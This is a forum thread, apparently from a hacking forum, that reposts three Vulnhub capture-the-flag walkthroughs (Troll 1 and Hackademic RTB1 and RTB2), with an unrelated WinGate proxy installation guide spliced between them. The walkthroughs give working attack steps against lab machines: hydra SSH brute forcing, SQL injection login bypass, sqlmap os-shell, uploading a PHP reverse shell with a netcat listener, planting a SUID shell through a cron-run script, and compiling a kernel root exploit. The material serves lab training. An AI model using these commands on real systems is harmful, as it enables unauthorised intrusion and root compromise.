Login

**NINZA** · 04-24-2020, 01:56 PM

0			0

Today we are going to solve another CTF challenge “Troll 1” of the vulnhub labs. The level of this challenge is not so tough and its difficulty level is described as beginner/intermediate. You can download it from here

[To see content please register here]

Penetration Methodology

Network Scanning (Nmap, netdiscover)
Anonymous FTP login
Abusing web browser
Brute-force attack (hydra)
SSH login
Privilege Escalation
Get root access
Capture the flag

Let’s Begin!!
Start with the netdiscover command to identify target IP in the local network, in my network 192.168.1.102 is my target IP, you will get yours.
[Image: 1.png?w=687&ssl=1]

Further, let’s enumerate open and protocols information in the target’s network with help of nmap following command:
nmap –A 192.168.1.102
1
nmap –A 192.168.1.102
From its result, we found port 21 for FTP, 22 for SSH and 80 for HTTP are open. Moreover, FTP anonymous login is allowed.
[Image: 2.png?w=687&ssl=1]

So we explore target IP in the web browser and welcomed by the following image.
[Image: 3.png?w=687&ssl=1]

Since FTP anonymous login was allowed so we logged in as anonymous: anonymous and download a lol.pcap file
ftp 192.168.1.102
ls -al
get lol.pcap
1
2
3
ftp 192.168.1.102
ls -al
get lol.pcap
[Image: 4.png?w=687&ssl=1]

When we opened the lol.pcap file it was a Wireshark TCP packet and when we have opened 1st TCP stream it put up following image as shown.
[Image: 5.png?w=687&ssl=1]

While looking in TCP stream 2, I notice something suspicious “sup3rs3cr3tdirlol” it could any possible web directory. So let’s step up for further approach and figure out what this sup3rs3cr3tdirlol indicates.
[Image: 6.png?w=687&ssl=1]

So when I explore

[To see content please register here]

in the web browser, it put up following web page where we found a file roflmao and decide to download it.
[Image: 7.png?w=687&ssl=1]

Then with help of “string” a tool in Kali Linux, we explored the file roflmao and got a message ‘Find the address 0x0856BF to proceed’
[Image: 8.png?w=687&ssl=1]

Then again I explored /0x0856BF in the web browser considering a possible web directory and indeed it gives two sub-directories as shown in the below image.
[Image: 9.png?w=687&ssl=1]

I opened both sub-directories and /good-luck looks interesting to me as it called a lol.txt file which contains a wordlist and might be this could be useful in conducting the brute force attack against ssh login. Also, the folder /this_folder_contains_the_password gave hint “Pass.txt” could be a possible password.
[Image: 10.png?w=687&ssl=1]

Then we copied lol.txt wordlist into a text file and saved as dict.txt for username (remove 5th line while pasting the content of lol.txt into dict.txt). Since we have username dictionary file and also well aware from password let’s lunch brute-force attack for ssh login and for this you can use the following command.
hydra -L /root/Desktop/dict.txt -p Pass.txt 192.168.1.102 ssh
1
hydra -L /root/Desktop/dict.txt -p Pass.txt 192.168.1.102 ssh
OOOooooh Great!! Here is our possible ssh login credential overflow Tongue

ass.txt

With help of above-extracted credential, we have made successful SSH login and spawned tty shell victim’s machine. Now let’s finished task quickly and for that, we need to escalated root privileges…………….
ssh [email protected]
find / -writable 2<dev/null
1
2
ssh [email protected]
find / -writable 2<dev/null
Then we have enumerated all writeable file with help of above command.
[Image: 12.png?w=687&ssl=1]

We found a python file cleaner.py inside /lib/log and it is a small program. So here the following script was added by admin to clean up all junk file from inside /tmp and these type of files depends upon specific time interval for executions.
[Image: 13.png?w=687&ssl=1]

There so many methods to gain root access as in this method we copied /bin/sh inside /tmp and enabled SUID for /tmp/sh. It is quite simple, first, open the file through some editor for example nano sanitizer.py and replace“rm -r /tmp/*” from the following line as given below:
os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')
1
2
os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')
[Image: 14.png?w=687&ssl=1]

After some time it will create a sh file inside /tmp directory having SUID permission and when you will run it you will give root access.
cd /tmp
ls
./sh
cd /root
ls
cat proof.txt
1
2
3
4
5
6
cd /tmp
ls
./sh
cd /root
ls
cat proof.txt
HURRAYYYYYYY!!! We hit the Goal……………………………….
[Image: 15.png?w=687&ssl=1]

Hello friends! Today we are going to solve a very simple and easy CTF challenge of the vulnhub. This is the second realistic hackademic challenge (root this box) by mr.pr0n. Download the target it from

[To see content please register here]

.
Penetrating Methodologies

Network Scanning (Nmap, netdiscover)
SQL-Injection on Login Form
Decrypting Hint to Get ports for port knocking
Port Knocking using NMAP
SQL-Injection using Sqlmap on URL
Upload and execute a Reverse shell
Reverse connection (netcat)
Exploiting target (exploit 15285)
Get Root access and capture the flag.

Let’s Start!!!
Start off with finding the target using:
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.102. Now scan the target with nmap aggressive:
nmap -A 192.168.1.102
1
nmap -A 192.168.1.102
With the nmap scan, you can perceive the port 80 is open and port 666 is filtered.
[Image: 2.png?w=687&ssl=1]

Further, when you will navigate to port 80 by exploring its IP in the browser, you will be welcomed by a login page as shown below.
[Image: 3.png?w=687&ssl=1]

Look at this login form; we can try for SQL injection to bypass this page. So, we had tried the following malicious character inside the text field as shown in the below image.
Username: ' or 1=1--'
Password: ' or 1=1--'
1
2
Username: ' or 1=1--'
Password: ' or 1=1--'
[Image: 4.png?w=687&ssl=1]

Superb!! We have bypassed the login form. But here, the author has left a message for which indicates that this is not the correct place to hunt the clue for any loophole.
[Image: 5.png?w=687&ssl=1]

So we looked into its source code and notice some encoded text here.
[Image: 6.png?w=687&ssl=1]

Since the above text was URL encoded string and we have used burp suite to decode it. So now decode it into HEX and then HEX to Text.
“Knock Knock Knocking on heaven’s door”
Feels like it is some kind of port knocking and the 8-bit binary words could be possible some ports.
[Image: 8.png?w=687&ssl=1]

Further, we copied the binary string so that we can decode it, to obtain readable text. As you can see it, here we have obtained a series of port number 1001:1101:1011:1001.
[Image: 9.png?w=687&ssl=1]

We have used nmap to recursively hit the ports using the -r parameter.
nmap -r -p 1001,1101,1011,1001 192.168.1.102
1
nmap -r -p 1001,1101,1011,1001 192.168.1.102
After this when we scanned the target IP once again using nmap and found that the port 666 is open and also running Apache server.
nmap -sV 192.168.1.102
1
nmap -sV 192.168.1.102
[Image: 10.png?w=687&ssl=1]

At this moment, we navigate to the newly opened port on the browser by exploring to the following URL

[To see content please register here]

1

[To see content please register here]

While browsing the website, we came across the “List of content items…” this URL was holding multiple parameters. I found this URL little bit suspicious against SQL injection, let’s ensure this through sqlmap.
[Image: 12.png?w=687&ssl=1]

To test the URL for SQL-Injection we will use sqlmap to enumerate the database name with help of the following command.
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" --dbs --batch
1
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" --dbs --batch
[Image: 13.png?w=687&ssl=1]

Yuppie!!! This VM is vulnerable to SQLi and we have successfully enumerated the possible database name “Joomla” through sqlmap, now let’s try to inject our payload with help of –os-shell option.
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" -D joomla --os-shell --batch
1
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" -D joomla --os-shell --batch
[Image: 14.png?w=687&ssl=1]

Superb!! We have spawned the os-shell of the target machine.
Now we will use this os- shell to upload a php backdoor, here we used pentestmonkey’s php-reverse-shell.php which is saved inside /usr/share/webshells/php directory, change the listening IP address as your device and the port number as your choice and start a python server using the following command for transferring this file.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
And in the os-shell, we will use the wget to download the reverse shell.
wget

[To see content please register here]

1
wget

[To see content please register here]

Since we have uploaded the malicious php inside the /var/www, therefore let’s navigate to the web browser and try to execute the revshell.php file but do not forget to start netcat listener.
nc -lvp 1234
1
nc -lvp 1234
[Image: 16.png?w=687&ssl=1]

Boom!! We have compromised the target shell successfully, Here we have discovered the Linux kernel is version being 2.6.32, after searching not for long on the internet we found the “RDS kernel exploit for privilege escalation from user to root”.
So we downloaded the 15285.c from

[To see content please register here]

and move it to Desktop where our python server was already running.
On the target machine, we first use the python one-liner to spawn proper tty shell
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Now we move to tmp folder cd /tmp to download the exploit on the target machine using wget command and compile the C file using gcc.
wget

[To see content please register here]

gcc 15285.c -o kernel
1
2
wget

[To see content please register here]

gcc 15285.c -o kernel
Then give the file executable permissions and now run the compiled exploit
chmod 777 kernel
./kernel
1
2
chmod 777 kernel
./kernel
and BOOM you got the root. Now go to root directory only to discover that there is a key.txt file
[Image: 17.png?w=687&ssl=1]

When we tried to read the file then it was found to be encoded into base 64.
[Image: 18.png?w=687&ssl=1]

With the help of the following command, we will try to decrypt the content of this file.
base64 -d Key.txt > key
1
base64 -d Key.txt > key
Now when we tried to open the file using file command it gave us the description of PNG image
file key
1
file key
To view it we copied it to /var/www only to download it and view the image.
cp key /var/www
1
cp key /var/www
[Image: 19.png?w=687&ssl=1]

Now download the file from the URL

[To see content please register here]

and open in your system to discover that it’s the root flag and you have successfully solved the CTF.
[Image: 20.png?w=687&ssl=1]

Albert Einstein always said “Imagination is important than knowledge” and this imagination accompanied by knowledge helps our world to more and more every day. Thus, technology grows and grows and succeeds to reduce human effort and increase our potential. And there is much software that helps us to do so.

One of that software is Wingate. This software helps us to monitor internet activities of our employees or students or anyone as this software helps us to set up a proxy server which further allows all the traffic from a network passes through it to reach the router as per their request. We can say that this software helps us to share and control access to the Internet through a single computer connection. The computer with Wingate acts as a proxy server for the computer users inside the home or business network.

Proxy Server: Proxy server is a server setup between the router and your network. Once the proxy server is set up, it will help you differentiate between the internal network (i.e your organization network) and an external network(i.e router). That means all the traffic from client’s application(i.e web browser) will go through this proxy server and you will be able to monitor everything they do on the internet and also you will be able to permit who accesses the internet or who does not. So, let us learn how to set up a proxy server

WinGate is software that acts as a gateway which allows us to set up a proxy server and helps us to share and control access to the Internet through a single computer connection. The computer with Wingate acts as a proxy server for the computer users inside the home or business network.

For WinGate to work on a computer we will need two LAN cards. Both of these LAN cards will act as routers. One of them will be our external network(i.e router) and others will be our internal network(i.e proxy server).

To install WinGate, download it from

[To see content please register here]

. Once you have downloaded it,

Open it and the following screen will appear on your computer. Click on Next option on the dialogue box.

After clicking on the next option, it will ask you the Program Features that you would like to install. Select all the three options and then again click on Next button.

Now it will ask you to enter an Administrative E-mail on which you want all of your alerts. Enter your E-mail address. And then click on Next option.

Now a dialogue box will open as shown below. Select the localhost option from it.
[Image: 4.png?w=687&ssl=1]

Now a License Activation Dialogue Box will open and it will ask whether your connection is offline or online. Select online on it and click on Next.

It will further ask you if you have bought WinGate or if you have it on trial bases. Select the appropriate option such as select to activate purchased lenience if you have bought it or else select activate a free full-featured 30-day trial.

Then your activation request will be processed. It may take a minute or two.
[Image: 7.png?w=687&ssl=1]

After the activation process click on Next and it will ask you to provide a database for Wingate. For it, simply click on Next.

Now, select the Wingate user database engine as your database and click on Next
[Image: 9.png?w=687&ssl=1]

To complete WinGate installation just click on Finish
[Image: 10.png?w=687&ssl=1]

After installing it will ask you computer to restart. Once the computer is restarted you will find WinGate in the hidden icons on the Taskbar.

Now right click on WinGate icon and select WinGate Management. After doing so, the WinGate management window will open. And then click on localhost.

After clicking on localhost, it will ask you whether you want to work with current windows or want to use another user.

Now click on use another user and it will ask you for username and password.
(I have given administrator as username and I have kept password blank)
[Image: 14.png?w=687&ssl=1]

Once you have given username and password click on OK. And so, the welcome panel of WinGate will open
[Image: 15.png?w=687&ssl=1]

You can now start working with Wingate.
To learn how to set up a proxy server using Wingate, do wait for part-2.

Hello friends! Today we are going to solve a very simple and easy CTF challenge of the vulnhub. This is the first realistic hackademic challenge (root this box) by mr.pr0n. Download the target it from

[To see content please register here]

and get root.
Penetrating Methodologies

Network Scanning (Nmap, netdiscover)
WordPress (CMS) based SQLMAP Scanning
Extract databases and WordPress user credentials
Login into the WordPress admin console with specific user
Upload and execute a Reverse shell
Reverse connection (Metasploit)
Exploiting target (exploit 15285)
Get Root access and capture the flag.

Let’s Start!!!
Start off with finding the target using:
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.104. Now scan the target with nmap :
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
With the nmap scan, you can see the ports 80, 22 are open. Let’s target the port 80 first.
[Image: 2.png?w=687&ssl=1]

Now we will browse the website with

[To see content please register here]

and a page will open as shown below in the image. Now click on the word target mentioned in “Please go to your target and try to get root”
[Image: 3.png?w=687&ssl=1]

Upon clicking the target, below page will open

[To see content please register here]

Navigate by clicking on Uncategorized it will redirect to below URL

[To see content please register here]

Now let’s try to look for SQL injection by trying with a single quote (‘) and got the below error as shown in the image. With this, we also came to know that this is a WORDPRESS (CMS) website and it is vulnerable to SQL injection.

[To see content please register here]

'
1

[To see content please register here]

'

Now using the above URL, we will enumerate the databases with SQLMAP command to get more details
sqlmap –u

[To see content please register here]

--dbs --batch
1
sqlmap –u

[To see content please register here]

--dbs --batch
Note: Instead of SQLMAP, we can also run wpscan (WordPress scan) which will yield the same results
[Image: 6.png?w=687&ssl=1]

Upon successful completion of the SQLMAP scan, we came to know that the following databases listed are available in the website, and “WordPress” could be desired database name.
[Image: 7.png?w=687&ssl=1]

Extract the user information from the WordPress database, using SQLMAP
sqlmap –u

[To see content please register here]

-D wordpress --dump-all --batch
1
sqlmap –u

[To see content please register here]

-D wordpress --dump-all --batch
[Image: 8.png?w=687&ssl=1]

SQLMAP will also automatically perform the password cracking of the users’ passwords
[Image: 9.1.png?w=687&ssl=1]

Browsed the WordPress login page

[To see content please register here]

and logged in with above-mentioned usernames; however, got success with the user GeorgeMiller as observed that it has many options available in the admin panel as compared to other users’.It also has the privileges to add/modify the PHP script.
Upon logging into the URL with the credentials, Navigate to Manage à Files and modify the hello.php file. Replace the text with the content from the PHP reverse shell file (php-reverse-shell.php) available in the Kali Linux server at the path /usr/share/webshells/php.
Once it is copied to the hello.php file, click on Update file
[Image: 9.png?w=687&ssl=1]

Access the URL

[To see content please register here]

1

[To see content please register here]

Ran the Netcat listener along with browsing the website URL again, upon which we got the initial/limited shell. Hereupon examining the Linux Kernel version we found that this could be vulnerable.
[Image: 11.png?w=687&ssl=1]

Searched across the internet to found the privilege escalation exploit that might apply to the kernel version 2.6.31 found (as shown in the image above). The exploit that worked was the RDS privilege escalation and can also be found on Kali with searchsploit.

[To see content please register here]

1

[To see content please register here]

Run the command searchsploit 15285 and copy the file (15285.c) to the Kali desktop. We will also run the default Python HTTP Server on the Kali Linux.
[Image: 13.png?w=687&ssl=1]

Now navigate to the tmp directory of victim machine and run the wget command to download the file from Kali. This will download the 15285.c file, into the /tmp directory of victim machine.
cd /tmp
wget

[To see content please register here]

ls
1
2
3
cd /tmp
wget

[To see content please register here]

ls
Once the file is listed under /tmp directory, run the following commands
gcc 15285.c –o kernel
chmod 777 kernel
1
2
gcc 15285.c –o kernel
chmod 777 kernel
[Image: 14.png?w=687&ssl=1]

Now run the kernel command as follows, and it will start to exploit the vulnerability
./kernel
1
./kernel
Once the execution of the kernel command stops, we will try to get into the root as follows and read the content of the directory
cd /root
ls
1
2
cd /root
ls
As you can see, now we are into the privileged shell and can also see key.txt file, open the same to get the credentials!
Hurrahhhhhh!!!! We hit the goal.
[Image: 15.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis